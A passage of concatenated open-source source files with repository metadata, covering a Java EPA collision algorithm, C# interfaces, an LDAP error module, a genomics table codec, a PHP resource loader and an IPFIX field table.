Vector3.subtract(points[1], points[0]); final Vector3 v2 = Vector3.subtract(points[2], points[0]); final Vector3 n = v1.cross(v2); suppPointsA[3] = collisionShape1.getLocalSupportPointWithMargin(n); suppPointsB[3] = Transform.multiply( body2Tobody1, collisionShape2.getLocalSupportPointWithMargin(Matrix3x3.multiply(rotateToBody2, Vector3.negate(n)))); points[3] = Vector3.subtract(suppPointsA[3], suppPointsB[3]); suppPointsA[4] = collisionShape1.getLocalSupportPointWithMargin(Vector3.negate(n)); suppPointsB[4] = Transform.multiply( body2Tobody1, collisionShape2.getLocalSupportPointWithMargin(Matrix3x3.multiply(rotateToBody2, n))); points[4] = Vector3.subtract(suppPointsA[4], suppPointsB[4]); final TriangleEPA face0 = triangleStore.newTriangle(points, 0, 1, 3); final TriangleEPA face1 = triangleStore.newTriangle(points, 1, 2, 3); final TriangleEPA face2 = triangleStore.newTriangle(points, 2, 0, 3); final TriangleEPA face3 = triangleStore.newTriangle(points, 0, 2, 4); final TriangleEPA face4 = triangleStore.newTriangle(points, 2, 1, 4); final TriangleEPA face5 = triangleStore.newTriangle(points, 1, 0, 4); if (!(face0 != null && face1 != null && face2 != null && face3 != null && face4 != null && face5 != null && face0.getDistSquare() > 0 && face1.getDistSquare() > 0 && face2.getDistSquare() > 0 && face3.getDistSquare() > 0 && face4.getDistSquare() > 0 && face5.getDistSquare() > 0)) { return false; } TriangleEPA.link(new EdgeEPA(face0, 1), new EdgeEPA(face1, 2)); TriangleEPA.link(new EdgeEPA(face1, 1), new EdgeEPA(face2, 2)); TriangleEPA.link(new EdgeEPA(face2, 1), new EdgeEPA(face0, 2)); TriangleEPA.link(new EdgeEPA(face0, 0), new EdgeEPA(face5, 0)); TriangleEPA.link(new EdgeEPA(face1, 0), new EdgeEPA(face4, 0)); TriangleEPA.link(new EdgeEPA(face2, 0), new EdgeEPA(face3, 0)); TriangleEPA.link(new EdgeEPA(face3, 1), new EdgeEPA(face4, 2)); TriangleEPA.link(new EdgeEPA(face4, 1), new EdgeEPA(face5, 2)); TriangleEPA.link(new EdgeEPA(face5, 1), new EdgeEPA(face3, 2)); nbTriangles = addFaceCandidate(face0, triangleHeap, nbTriangles, Float.MAX_VALUE); nbTriangles = addFaceCandidate(face1, triangleHeap, nbTriangles, Float.MAX_VALUE); nbTriangles = addFaceCandidate(face2, triangleHeap, nbTriangles, Float.MAX_VALUE); nbTriangles = addFaceCandidate(face3, triangleHeap, nbTriangles, Float.MAX_VALUE); nbTriangles = addFaceCandidate(face4, triangleHeap, nbTriangles, Float.MAX_VALUE); nbTriangles = addFaceCandidate(face5, triangleHeap, nbTriangles, Float.MAX_VALUE); nbVertices = 5; } break; } if (nbTriangles == 0) { return false; } TriangleEPA triangle; float upperBoundSquarePenDepth = Float.MAX_VALUE; do { triangle = triangleHeap.remove(); nbTriangles--; if (!triangle.isObsolete()) { if (nbVertices == MAX_SUPPORT_POINTS) { break; } suppPointsA[nbVertices] = collisionShape1.getLocalSupportPointWithMargin(triangle.getClosestPoint()); suppPointsB[nbVertices] = Transform.multiply( body2Tobody1, collisionShape2.getLocalSupportPointWithMargin(Matrix3x3.multiply(rotateToBody2, Vector3.negate(triangle.getClosestPoint())))); points[nbVertices] = Vector3.subtract(suppPointsA[nbVertices], suppPointsB[nbVertices]); final int indexNewVertex = nbVertices; nbVertices++; final float wDotv = points[indexNewVertex].dot(triangle.getClosestPoint()); if (wDotv <= 0) { throw new IllegalStateException("wDotv must be greater than zero"); } final float wDotVSquare = wDotv * wDotv / triangle.getDistSquare(); if (wDotVSquare < upperBoundSquarePenDepth) { upperBoundSquarePenDepth = wDotVSquare; } final float error = wDotv - triangle.getDistSquare(); if (error <= Math.max(tolerance, GJKAlgorithm.REL_ERROR_SQUARE * wDotv) || points[indexNewVertex].equals(points[triangle.get(0)]) || points[indexNewVertex].equals(points[triangle.get(1)]) || points[indexNewVertex].equals(points[triangle.get(2)])) { break; } int i = triangleStore.getNbTriangles(); if (!triangle.computeSilhouette(points, indexNewVertex, triangleStore)) { break; } while (i != triangleStore.getNbTriangles()) { final TriangleEPA newTriangle = triangleStore.get(i); nbTriangles = addFaceCandidate(newTriangle, triangleHeap, nbTriangles, upperBoundSquarePenDepth); i++; } } } while (nbTriangles > 0 && triangleHeap.element().getDistSquare() <= upperBoundSquarePenDepth); v.set(Matrix3x3.multiply(transform1.getOrientation().getMatrix(), triangle.getClosestPoint())); final Vector3 pALocal = triangle.computeClosestPointOfObject(suppPointsA); final Vector3 pBLocal = Transform.multiply(body2Tobody1.getInverse(), triangle.computeClosestPointOfObject(suppPointsB)); final Vector3 normal = v.getUnit(); final float penetrationDepth = v.length(); if (penetrationDepth <= 0) { throw new IllegalStateException("penetration depth must be greater that zero"); } contactInfo.set(normal, penetrationDepth, pALocal, pBLocal); return true; } // Decides if the origin is in the tetrahedron. // Returns 0 if the origin is in the tetrahedron or returns the index (1,2,3 or 4) of the bad // vertex if the origin is not in the tetrahedron. private static int isOriginInTetrahedron(Vector3 p1, Vector3 p2, Vector3 p3, Vector3 p4) { final Vector3 normal1 = Vector3.subtract(p2, p1).cross(Vector3.subtract(p3, p1)); if (normal1.dot(p1) > 0 == normal1.dot(p4) > 0) { return 4; } final Vector3 normal2 = Vector3.subtract(p4, p2).cross(Vector3.subtract(p3, p2)); if (normal2.dot(p2) > 0 == normal2.dot(p1) > 0) { return 1; } final Vector3 normal3 = Vector3.subtract(p4, p3).cross(Vector3.subtract(p1, p3)); if (normal3.dot(p3) > 0 == normal3.dot(p2) > 0) { return 2; } final Vector3 normal4 = Vector3.subtract(p2, p4).cross(Vector3.subtract(p1, p4)); if (normal4.dot(p4) > 0 == normal4.dot(p3) > 0) { return 3; } return 0; } // Adds a triangle face in the candidate triangle heap in the EPA algorithm. private static int addFaceCandidate(TriangleEPA triangle, Queue<TriangleEPA> heap, int nbTriangles, float upperBoundSquarePenDepth) { if (triangle.isClosestPointInternalToTriangle() && triangle.getDistSquare() <= upperBoundSquarePenDepth) { heap.add(triangle); nbTriangles++; } return nbTriangles; } // Compares the EPA triangles in the queue. private static class TriangleComparison implements Comparator<TriangleEPA> { @Override public int compare(TriangleEPA face1, TriangleEPA face2) { final float dist1 = face1.getDistSquare(); final float dist2 = face2.getDistSquare(); if (dist1 == dist2) { return 0; } return dist1 > dist2 ? 1 : -1; } } }
flow/react
src/main/java/com/flowpowered/react/collision/narrowphase/EPA/EPAAlgorithm.java
Java
mit
18,355
using Microsoft.Xna.Framework; namespace XmasHell.FSM { public struct FSMStateData<T> { public FSM<T> Machine { get; internal set; } public FSMBehaviour<T> Behaviour { get; internal set; } public T State { get; internal set; } public GameTime GameTime { get; internal set; } } }
Noxalus/Xmas-Hell
Xmas-Hell/Xmas-Hell-Core/FSM/FSMStateData.cs
C#
mit
315
// -------------------------------------------------------------------------------------------- #region // Copyright (c) 2020, SIL International. All Rights Reserved. // <copyright from='2011' to='2020' company='SIL International'> // Copyright (c) 2020, SIL International. All Rights Reserved. // // Distributable under the terms of the MIT License (https://sil.mit-license.org/) // </copyright> #endregion // -------------------------------------------------------------------------------------------- using System.Collections.Generic; using Paratext.Data; using SIL.Scripture; namespace HearThis.Script { /// <summary> /// This exposes the things we care about out of ScrText, providing an /// anti-corruption layer between Paratext and HearThis and allowing us to test the code /// that calls Paratext. /// </summary> public interface IScripture : IScrProjectSettings { ScrVers Versification { get; } List<UsfmToken> GetUsfmTokens(VerseRef verseRef); IScrParserState CreateScrParserState(VerseRef verseRef); string DefaultFont { get; } bool RightToLeft { get; } string EthnologueCode { get; } string Name { get; } IStyleInfoProvider StyleInfo { get; } } /// <summary> /// This exposes the things we care about out of ScrText, providing an /// anti-corruption layer between Paratext and HearThis and allowing us to test the code /// that calls Paratext. /// </summary> public interface IScrProjectSettings { string FirstLevelStartQuotationMark { get; } string FirstLevelEndQuotationMark { get; } string SecondLevelStartQuotationMark { get; } string SecondLevelEndQuotationMark { get; } string ThirdLevelStartQuotationMark { get; } string ThirdLevelEndQuotationMark { get; } /// <summary> /// Gets whether first-level quotation marks are used unambiguously to indicate first-level quotations. /// If the same marks are used for 2nd or 3rd level quotations, then this should return false. /// </summary> bool FirstLevelQuotesAreUnique { get; } } }
sillsdev/hearthis
src/HearThis/Script/IScripture.cs
C#
mit
2,007
module CdnBacon VERSION = "0.0.1" end
bjedrocha/cdn_bacon
lib/cdn_bacon/version.rb
Ruby
mit
40
'use strict'; var eachAsync = require('each-async'); var onetime = require('onetime'); var arrify = require('arrify'); module.exports = function (hostnames, cb) { cb = onetime(cb); eachAsync(arrify(hostnames), function (hostname, i, next) { var img = new Image(); img.onload = function () { cb(true); // skip to end next(new Error()); }; img.onerror = function () { next(); }; img.src = '//' + hostname + '/favicon.ico?' + Date.now(); }, function () { cb(false); }); };
arthurvr/is-reachable
browser.js
JavaScript
mit
506
<?php class Ressource extends Thing { var $name; var $url; var $schemaDefinition; function __construct($url = null) { if ($url) $this->url = $this->preparePath($url); } function preparePath($path) { $path = str_replace(" ", "+", $path); return $path; } function getFileName() { if (strpos($this->ressource_url, "/") !== false) { $slash_explode = explode("/", $this->ressource_url); return $slash_explode[count($slash_explode) - 1] . ".pdf"; } return "fuckit"; } function load($noDownload = false, $enforcedType = null) { error_reporting(E_ALL & ~E_NOTICE); $finfo = new finfo(FILEINFO_MIME); $fio = new FileIO(); if (!$this->is_connected() || $noDownload) { //$this->content = file_get_contents('data/temp/structure/processing/processed.html'); $this->content = file_get_contents($this->url); if ($enforcedType) { $this->Type = $enforcedType; } else { $this->Type = $finfo->buffer($this->content); } $this->size = strlen($this->content); if ($this->Type == "application/pdf; charset=binary" || $this->Type == "application/octet-stream; charset=binary") { //$filetime = $fio->filemtime_remote('../data/temp/structure/processing/processed.html'); $filetime = $fio->filemtime_remote($this->url); $this->modificationTime = date ("F d Y H:i:s.", $filetime); } } else { $this->content = $fio->loadFile($this->url); $this->Type = $finfo->buffer($this->content); if ($this->Type === "text/plain; charset=us-ascii") { if ($this->isJson($this->content)) { $this->Type = "application/json; charset=utf-8"; } } $this->size = strlen($this->content); if ($this->Type == "application/pdf; charset=binary" || $this->Type == "application/octet-stream; charset=binary") { $filetime = $fio->filemtime_remote($this->url); $this->modificationTime = date ("F d Y H:i:s.", $filetime); } } } function isJson($string) { json_decode($string); return (json_last_error() == JSON_ERROR_NONE); } } ?>
neuronalysis/engulfing-core
classes/EDI/Ressource.php
PHP
mit
2,052
module Ldaptic class Error < ::RuntimeError end class EntryNotSaved < Error end # All server errors are instances of this class. The error message and error # code can be accessed with <tt>exception.message</tt> and # <tt>exception.code</tt> respectively. class ServerError < Error attr_accessor :code end # The module houses all subclasses of Ldaptic::ServerError. The methods # contained within are for internal use only. module Errors #{ # 0=>"Success", # 1=>"Operations error", # 2=>"Protocol error", # 3=>"Time limit exceeded", # 4=>"Size limit exceeded", # 5=>"Compare False", # 6=>"Compare True", # 7=>"Authentication method not supported" # 8=>"Strong(er) authentication required", # 9=>"Partial results and referral received", # 10=>"Referral", # 11=>"Administrative limit exceeded", # 12=>"Critical extension is unavailable", # 13=>"Confidentiality required", # 14=>"SASL bind in progress", # 16=>"No such attribute", # 17=>"Undefined attribute type", # 18=>"Inappropriate matching", # 19=>"Constraint violation", # 20=>"Type or value exists", # 21=>"Invalid syntax", # 32=>"No such object", # 33=>"Alias problem", # 34=>"Invalid DN syntax", # 35=>"Entry is a leaf", # 36=>"Alias dereferencing problem", # 47=>"Proxy Authorization Failure", # 48=>"Inappropriate authentication", # 49=>"Invalid credentials", # 50=>"Insufficient access", # 51=>"Server is busy", # 52=>"Server is unavailable", # 53=>"Server is unwilling to perform", # 54=>"Loop detected", # 64=>"Naming violation", # 65=>"Object class violation", # 66=>"Operation not allowed on non-leaf", # 67=>"Operation not allowed on RDN", # 68=>"Already exists", # 69=>"Cannot modify object class", # 70=>"Results too large", # 71=>"Operation affects multiple DSAs", # 80=>"Internal (implementation specific) error", # 81=>"Can't contact LDAP server", # 82=>"Local error", # 83=>"Encoding error", # 84=>"Decoding error", # 85=>"Timed out", # 86=>"Unknown authentication method", # 87=>"Bad search filter", # 88=>"User cancelled operation", # 89=>"Bad parameter to an ldap routine", # 90=>"Out of memory", # 91=>"Connect error", # 92=>"Not Supported", # 93=>"Control not found", # 94=>"No results returned", # 95=>"More results to return", # 96=>"Client Loop", # 97=>"Referral Limit Exceeded", #} # Error code 32. class NoSuchObject < ServerError end # Error code 5. class CompareFalse < ServerError end # Error code 6. class CompareTrue < ServerError end EXCEPTIONS = { 32 => NoSuchObject, 5 => CompareFalse, 6 => CompareTrue } class << self # Provides a backtrace minus all files shipped with Ldaptic. def application_backtrace dir = File.dirname(File.dirname(__FILE__)) c = caller c.shift while c.first[0,dir.length] == dir c end # Raise an exception (object only, no strings or classes) with the # backtrace stripped of all Ldaptic files. def raise(exception) exception.set_backtrace(application_backtrace) Kernel.raise exception end def for(code, message = nil) #:nodoc: message ||= "Unknown error #{code}" klass = EXCEPTIONS[code] || ServerError exception = klass.new(message) exception.code = code exception end # Given an error code and a message, raise an Ldaptic::ServerError unless # the code is zero. The right subclass is selected automatically if it # is available. def raise_unless_zero(code, message = nil) raise self.for(code, message) unless code.zero? end end end end
tpope/ldaptic
lib/ldaptic/errors.rb
Ruby
mit
3,960
package org.broadinstitute.sting.utils.codecs.table; import org.broad.tribble.Feature; import org.broad.tribble.readers.LineReader; import org.broadinstitute.sting.gatk.refdata.ReferenceDependentFeatureCodec; import org.broadinstitute.sting.utils.GenomeLocParser; import org.broadinstitute.sting.utils.exceptions.UserException; import java.io.IOException; import java.util.ArrayList; import java.util.Arrays; /** * Reads tab deliminated tabular text files * * <p> * <ul> * <li>Header: must begin with line HEADER or track (for IGV), followed by any number of column names, * separated by whitespace.</li> * <li>Comment lines starting with # are ignored</li> * <li>Each non-header and non-comment line is split into parts by whitespace, * and these parts are assigned as a map to their corresponding column name in the header. * Note that the first element (corresponding to the HEADER column) must be a valid genome loc * such as 1, 1:1 or 1:1-10, which is the position of the Table element on the genome. TableCodec * requires that there be one value for each column in the header, and no more, on all lines.</li> * </ul> * </p> * * </p> * * <h2>File format example</h2> * <pre> * HEADER a b c * 1:1 1 2 3 * 1:2 4 5 6 * 1:3 7 8 9 * </pre> * * @author Mark DePristo * @since 2009 */ public class TableCodec implements ReferenceDependentFeatureCodec { final static protected String delimiterRegex = "\\s+"; final static protected String headerDelimiter = "HEADER"; final static protected String igvHeaderDelimiter = "track"; final static protected String commentDelimiter = "#"; protected ArrayList<String> header = new ArrayList<String>(); /** * The parser to use when resolving genome-wide locations. */ protected GenomeLocParser genomeLocParser; /** * Set the parser to use when resolving genetic data. * @param genomeLocParser The supplied parser. */ @Override public void setGenomeLocParser(GenomeLocParser genomeLocParser) { this.genomeLocParser = genomeLocParser; } @Override public Feature decodeLoc(String line) { return decode(line); } @Override public Feature decode(String line) { if (line.startsWith(headerDelimiter) || line.startsWith(commentDelimiter) || line.startsWith(igvHeaderDelimiter)) return null; String[] split = line.split(delimiterRegex); if (split.length < 1) throw new IllegalArgumentException("TableCodec line = " + line + " doesn't appear to be a valid table format"); return new TableFeature(genomeLocParser.parseGenomeLoc(split[0]),Arrays.asList(split),header); } @Override public Class<TableFeature> getFeatureType() { return TableFeature.class; } @Override public Object readHeader(LineReader reader) { String line = ""; try { boolean isFirst = true; while ((line = reader.readLine()) != null) { if ( isFirst && ! line.startsWith(headerDelimiter) && ! line.startsWith(commentDelimiter)) { throw new UserException.MalformedFile("TableCodec file does not have a header"); } isFirst &= line.startsWith(commentDelimiter); if (line.startsWith(headerDelimiter)) { if (header.size() > 0) throw new IllegalStateException("Input table file seems to have two header lines. The second is = " + line); String spl[] = line.split(delimiterRegex); for (String s : spl) header.add(s); return header; } else if (!line.startsWith(commentDelimiter)) { break; } } } catch (IOException e) { throw new UserException.MalformedFile("unable to parse header from TableCodec file",e); } return header; } public boolean canDecode(final String potentialInput) { return false; } }
iontorrent/Torrent-Variant-Caller-stable
public/java/src/org/broadinstitute/sting/utils/codecs/table/TableCodec.java
Java
mit
4,090
//IP Flow Information Export (IPFIX) Entities // Last Updated 2013-01-15 // http://www.iana.org/assignments/ipfix/ipfix.xml var entities = []; //ipfix-information-elements entities['elements'] = { "1":{"name":"octetDeltaCount","dataType":"unsigned64","dataTypeSemantics":"deltaCounter","group":"flowCounter","units":"octets"}, "2":{"name":"packetDeltaCount","dataType":"unsigned64","dataTypeSemantics":"deltaCounter","group":"flowCounter","units":"packets"}, "3":{"name":"deltaFlowCount","dataType":"unsigned64","dataTypeSemantics":"deltaCounter"}, "4":{"name":"protocolIdentifier","dataType":"unsigned8","dataTypeSemantics":"identifier","group":"ipHeader"}, "5":{"name":"ipClassOfService","dataType":"unsigned8","dataTypeSemantics":"identifier","group":"ipHeader"}, "6":{"name":"tcpControlBits","dataType":"unsigned8","dataTypeSemantics":"flags","group":"minMax"}, "7":{"name":"sourceTransportPort","dataType":"unsigned16","dataTypeSemantics":"identifier","group":"transportHeader"}, "8":{"name":"sourceIPv4Address","dataType":"ipv4Address","dataTypeSemantics":"identifier","group":"ipHeader"}, "9":{"name":"sourceIPv4PrefixLength","dataType":"unsigned8","group":"ipHeader","units":"bits"}, "10":{"name":"ingressInterface","dataType":"unsigned32","dataTypeSemantics":"identifier","group":"scope"}, "11":{"name":"destinationTransportPort","dataType":"unsigned16","dataTypeSemantics":"identifier","group":"transportHeader"}, "12":{"name":"destinationIPv4Address","dataType":"ipv4Address","dataTypeSemantics":"identifier","group":"ipHeader"}, "13":{"name":"destinationIPv4PrefixLength","dataType":"unsigned8","group":"ipHeader","units":"bits"}, "14":{"name":"egressInterface","dataType":"unsigned32","dataTypeSemantics":"identifier","group":"scope"}, "15":{"name":"ipNextHopIPv4Address","dataType":"ipv4Address","dataTypeSemantics":"identifier","group":"derived"}, "16":{"name":"bgpSourceAsNumber","dataType":"unsigned32","dataTypeSemantics":"identifier","group":"derived"}, "17":{"name":"bgpDestinationAsNumber","dataType":"unsigned32","dataTypeSemantics":"identifier","group":"derived"}, "18":{"name":"bgpNextHopIPv4Address","dataType":"ipv4Address","dataTypeSemantics":"identifier","group":"derived"}, "19":{"name":"postMCastPacketDeltaCount","dataType":"unsigned64","dataTypeSemantics":"deltaCounter","group":"flowCounter","units":"packets"}, "20":{"name":"postMCastOctetDeltaCount","dataType":"unsigned64","dataTypeSemantics":"deltaCounter","group":"flowCounter","units":"octets"}, "21":{"name":"flowEndSysUpTime","dataType":"unsigned32","group":"timestamp","units":"milliseconds"}, "22":{"name":"flowStartSysUpTime","dataType":"unsigned32","group":"timestamp","units":"milliseconds"}, "23":{"name":"postOctetDeltaCount","dataType":"unsigned64","dataTypeSemantics":"deltaCounter","group":"flowCounter","units":"octets"}, "24":{"name":"postPacketDeltaCount","dataType":"unsigned64","dataTypeSemantics":"deltaCounter","group":"flowCounter","units":"packets"}, "25":{"name":"minimumIpTotalLength","dataType":"unsigned64","group":"minMax","units":"octets"}, "26":{"name":"maximumIpTotalLength","dataType":"unsigned64","group":"minMax","units":"octets"}, "27":{"name":"sourceIPv6Address","dataType":"ipv6Address","dataTypeSemantics":"identifier","group":"ipHeader"}, "28":{"name":"destinationIPv6Address","dataType":"ipv6Address","dataTypeSemantics":"identifier","group":"ipHeader"}, "29":{"name":"sourceIPv6PrefixLength","dataType":"unsigned8","group":"ipHeader","units":"bits"}, "30":{"name":"destinationIPv6PrefixLength","dataType":"unsigned8","group":"ipHeader","units":"bits"}, "31":{"name":"flowLabelIPv6","dataType":"unsigned32","dataTypeSemantics":"identifier","group":"ipHeader"}, "32":{"name":"icmpTypeCodeIPv4","dataType":"unsigned16","dataTypeSemantics":"identifier","group":"transportHeader"}, "33":{"name":"igmpType","dataType":"unsigned8","dataTypeSemantics":"identifier","group":"transportHeader"}, "36":{"name":"flowActiveTimeout","dataType":"unsigned16","group":"misc","units":"seconds"}, "37":{"name":"flowIdleTimeout","dataType":"unsigned16","group":"misc","units":"seconds"}, "40":{"name":"exportedOctetTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"processCounter","units":"octets"}, "41":{"name":"exportedMessageTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"processCounter","units":"messages"}, "42":{"name":"exportedFlowRecordTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"processCounter","units":"flows"}, "44":{"name":"sourceIPv4Prefix","dataType":"ipv4Address","group":"ipHeader"}, "45":{"name":"destinationIPv4Prefix","dataType":"ipv4Address","group":"ipHeader"}, "46":{"name":"mplsTopLabelType","dataType":"unsigned8","dataTypeSemantics":"identifier","group":"derived"}, "47":{"name":"mplsTopLabelIPv4Address","dataType":"ipv4Address","dataTypeSemantics":"identifier","group":"derived"}, "52":{"name":"minimumTTL","dataType":"unsigned8","group":"minMax","units":"hops"}, "53":{"name":"maximumTTL","dataType":"unsigned8","group":"minMax","units":"hops"}, "54":{"name":"fragmentIdentification","dataType":"unsigned32","dataTypeSemantics":"identifier","group":"ipHeader"}, "55":{"name":"postIpClassOfService","dataType":"unsigned8","dataTypeSemantics":"identifier","group":"ipHeader"}, "56":{"name":"sourceMacAddress","dataType":"macAddress","dataTypeSemantics":"identifier","group":"subIpHeader"}, "57":{"name":"postDestinationMacAddress","dataType":"macAddress","dataTypeSemantics":"identifier","group":"subIpHeader"}, "58":{"name":"vlanId","dataType":"unsigned16","dataTypeSemantics":"identifier","group":"subIpHeader"}, "59":{"name":"postVlanId","dataType":"unsigned16","dataTypeSemantics":"identifier","group":"subIpHeader"}, "60":{"name":"ipVersion","dataType":"unsigned8","dataTypeSemantics":"identifier","group":"ipHeader"}, "61":{"name":"flowDirection","dataType":"unsigned8","dataTypeSemantics":"identifier","group":"misc"}, "62":{"name":"ipNextHopIPv6Address","dataType":"ipv6Address","dataTypeSemantics":"identifier","group":"derived"}, "63":{"name":"bgpNextHopIPv6Address","dataType":"ipv6Address","dataTypeSemantics":"identifier","group":"derived"}, "64":{"name":"ipv6ExtensionHeaders","dataType":"unsigned32","dataTypeSemantics":"flags","group":"minMax"}, "70":{"name":"mplsTopLabelStackSection","dataType":"octetArray","dataTypeSemantics":"identifier","group":"subIpHeader"}, "71":{"name":"mplsLabelStackSection2","dataType":"octetArray","dataTypeSemantics":"identifier","group":"subIpHeader"}, "72":{"name":"mplsLabelStackSection3","dataType":"octetArray","dataTypeSemantics":"identifier","group":"subIpHeader"}, "73":{"name":"mplsLabelStackSection4","dataType":"octetArray","dataTypeSemantics":"identifier","group":"subIpHeader"}, "74":{"name":"mplsLabelStackSection5","dataType":"octetArray","dataTypeSemantics":"identifier","group":"subIpHeader"}, "75":{"name":"mplsLabelStackSection6","dataType":"octetArray","dataTypeSemantics":"identifier","group":"subIpHeader"}, "76":{"name":"mplsLabelStackSection7","dataType":"octetArray","dataTypeSemantics":"identifier","group":"subIpHeader"}, "77":{"name":"mplsLabelStackSection8","dataType":"octetArray","dataTypeSemantics":"identifier","group":"subIpHeader"}, "78":{"name":"mplsLabelStackSection9","dataType":"octetArray","dataTypeSemantics":"identifier","group":"subIpHeader"}, "79":{"name":"mplsLabelStackSection10","dataType":"octetArray","dataTypeSemantics":"identifier","group":"subIpHeader"}, "80":{"name":"destinationMacAddress","dataType":"macAddress","dataTypeSemantics":"identifier","group":"subIpHeader"}, "81":{"name":"postSourceMacAddress","dataType":"macAddress","dataTypeSemantics":"identifier","group":"subIpHeader"}, "82":{"name":"interfaceName","dataType":"string"},"83":{"name":"interfaceDescription","dataType":"string"}, "85":{"name":"octetTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"flowCounter","units":"octets"}, "86":{"name":"packetTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"flowCounter","units":"packets"}, "88":{"name":"fragmentOffset","dataType":"unsigned16","dataTypeSemantics":"identifier","group":"ipHeader"}, "90":{"name":"mplsVpnRouteDistinguisher","dataType":"octetArray","dataTypeSemantics":"identifier","group":"derived"}, "91":{"name":"mplsTopLabelPrefixLength","dataType":"unsigned8","dataTypeSemantics":"identifier","units":"bits"}, "94":{"name":"applicationDescription","dataType":"string"}, "95":{"name":"applicationId","dataType":"octetArray","dataTypeSemantics":"identifier"}, "96":{"name":"applicationName","dataType":"string"}, "98":{"name":"postIpDiffServCodePoint","dataType":"unsigned8","dataTypeSemantics":"identifier"}, "99":{"name":"multicastReplicationFactor","dataType":"unsigned32","dataTypeSemantics":"quantity"}, "101":{"name":"classificationEngineId","dataType":"unsigned8","dataTypeSemantics":"identifier"}, "128":{"name":"bgpNextAdjacentAsNumber","dataType":"unsigned32","dataTypeSemantics":"identifier","group":"derived"}, "129":{"name":"bgpPrevAdjacentAsNumber","dataType":"unsigned32","dataTypeSemantics":"identifier","group":"derived"}, "130":{"name":"exporterIPv4Address","dataType":"ipv4Address","dataTypeSemantics":"identifier","group":"config"}, "131":{"name":"exporterIPv6Address","dataType":"ipv6Address","dataTypeSemantics":"identifier","group":"config"}, "132":{"name":"droppedOctetDeltaCount","dataType":"unsigned64","dataTypeSemantics":"deltaCounter","group":"flowCounter","units":"octets"}, "133":{"name":"droppedPacketDeltaCount","dataType":"unsigned64","dataTypeSemantics":"deltaCounter","group":"flowCounter","units":"packets"}, "134":{"name":"droppedOctetTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"flowCounter","units":"octets"}, "135":{"name":"droppedPacketTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"flowCounter","units":"packets"}, "136":{"name":"flowEndReason","dataType":"unsigned8","dataTypeSemantics":"identifier","group":"misc"}, "137":{"name":"commonPropertiesId","dataType":"unsigned64","dataTypeSemantics":"identifier","group":"scope"}, "138":{"name":"observationPointId","dataType":"unsigned32","dataTypeSemantics":"identifier","group":"scope"}, "139":{"name":"icmpTypeCodeIPv6","dataType":"unsigned16","dataTypeSemantics":"identifier","group":"transportHeader"}, "140":{"name":"mplsTopLabelIPv6Address","dataType":"ipv6Address","dataTypeSemantics":"identifier","group":"derived"}, "141":{"name":"lineCardId","dataType":"unsigned32","dataTypeSemantics":"identifier","group":"scope"}, "142":{"name":"portId","dataType":"unsigned32","dataTypeSemantics":"identifier","group":"scope"}, "143":{"name":"meteringProcessId","dataType":"unsigned32","dataTypeSemantics":"identifier","group":"scope"}, "144":{"name":"exportingProcessId","dataType":"unsigned32","dataTypeSemantics":"identifier","group":"scope"}, "145":{"name":"templateId","dataType":"unsigned16","dataTypeSemantics":"identifier","group":"scope"}, "146":{"name":"wlanChannelId","dataType":"unsigned8","dataTypeSemantics":"identifier","group":"subIpHeader"}, "147":{"name":"wlanSSID","dataType":"string","group":"subIpHeader"}, "148":{"name":"flowId","dataType":"unsigned64","dataTypeSemantics":"identifier","group":"scope"}, "149":{"name":"observationDomainId","dataType":"unsigned32","dataTypeSemantics":"identifier","group":"scope"}, "150":{"name":"flowStartSeconds","dataType":"dateTimeSeconds","group":"timestamp","units":"seconds"}, "151":{"name":"flowEndSeconds","dataType":"dateTimeSeconds","group":"timestamp","units":"seconds"}, "152":{"name":"flowStartMilliseconds","dataType":"dateTimeMilliseconds","group":"timestamp","units":"milliseconds"}, "153":{"name":"flowEndMilliseconds","dataType":"dateTimeMilliseconds","group":"timestamp","units":"milliseconds"}, "154":{"name":"flowStartMicroseconds","dataType":"dateTimeMicroseconds","group":"timestamp","units":"microseconds"}, "155":{"name":"flowEndMicroseconds","dataType":"dateTimeMicroseconds","group":"timestamp","units":"microseconds"}, "156":{"name":"flowStartNanoseconds","dataType":"dateTimeNanoseconds","group":"timestamp","units":"nanoseconds"}, "157":{"name":"flowEndNanoseconds","dataType":"dateTimeNanoseconds","group":"timestamp","units":"nanoseconds"}, "158":{"name":"flowStartDeltaMicroseconds","dataType":"unsigned32","group":"timestamp","units":"microseconds"}, "159":{"name":"flowEndDeltaMicroseconds","dataType":"unsigned32","group":"timestamp","units":"microseconds"}, "160":{"name":"systemInitTimeMilliseconds","dataType":"dateTimeMilliseconds","group":"timestamp","units":"milliseconds"}, "161":{"name":"flowDurationMilliseconds","dataType":"unsigned32","group":"misc","units":"milliseconds"}, "162":{"name":"flowDurationMicroseconds","dataType":"unsigned32","group":"misc","units":"microseconds"}, "163":{"name":"observedFlowTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"processCounter","units":"flows"}, "164":{"name":"ignoredPacketTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"processCounter","units":"packets"}, "165":{"name":"ignoredOctetTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"processCounter","units":"octets"}, "166":{"name":"notSentFlowTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"processCounter","units":"flows"}, "167":{"name":"notSentPacketTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"processCounter","units":"packets"}, "168":{"name":"notSentOctetTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"processCounter","units":"octets"}, "169":{"name":"destinationIPv6Prefix","dataType":"ipv6Address","group":"ipHeader"}, "170":{"name":"sourceIPv6Prefix","dataType":"ipv6Address","group":"ipHeader"}, "171":{"name":"postOctetTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"flowCounter","units":"octets"}, "172":{"name":"postPacketTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"flowCounter","units":"packets"}, "173":{"name":"flowKeyIndicator","dataType":"unsigned64","dataTypeSemantics":"flags","group":"config"}, "174":{"name":"postMCastPacketTotalCount","dataType":"unsigned64","dataTypeSemantics":"totalCounter","group":"flowCounter","units":"packets"}, 